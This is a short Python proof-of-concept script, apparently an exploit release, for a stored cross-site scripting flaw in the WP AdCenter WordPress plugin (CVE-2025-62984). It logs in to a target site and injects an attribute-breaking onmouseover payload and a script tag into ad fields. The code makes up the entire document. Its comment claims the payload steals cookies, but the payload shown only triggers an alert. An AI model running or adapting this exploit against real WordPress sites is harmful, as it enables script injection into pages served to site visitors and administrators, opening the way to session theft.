CVE-2025-62984: WP AdCenter插件存储型XSS漏洞

import requests import re # CVE-2025-62984 PoC - Stored XSS in WP AdCenter Plugin # Target: WordPress site with WP AdCenter plugin <= 2.6.1 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" # XSS payload - steals cookies XSS_PAYLOAD = '" onmouseover="alert(document.cookie)" x="' def login(): """Authenticate to WordPress""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' in str(session.cookies) or response.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") return None def inject_xss(session): """Inject XSS payload into WP AdCenter ad fields""" # Find WP AdCenter admin page ad_center_url = f"{TARGET_URL}/wp-admin/admin.php?page=wpadcenter" # XSS injection in ad name/description field ad_data = { 'ad_name': XSS_PAYLOAD, 'ad_type': 'banner', 'ad_content': '<script>alert("XSS")</script>', 'submit': 'Save' } response = session.post(ad_center_url, data=ad_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Visit affected page to trigger XSS") else: print("[-] Injection failed") def main(): session = login() if session: inject_xss(session) if __name__ == "__main__": main()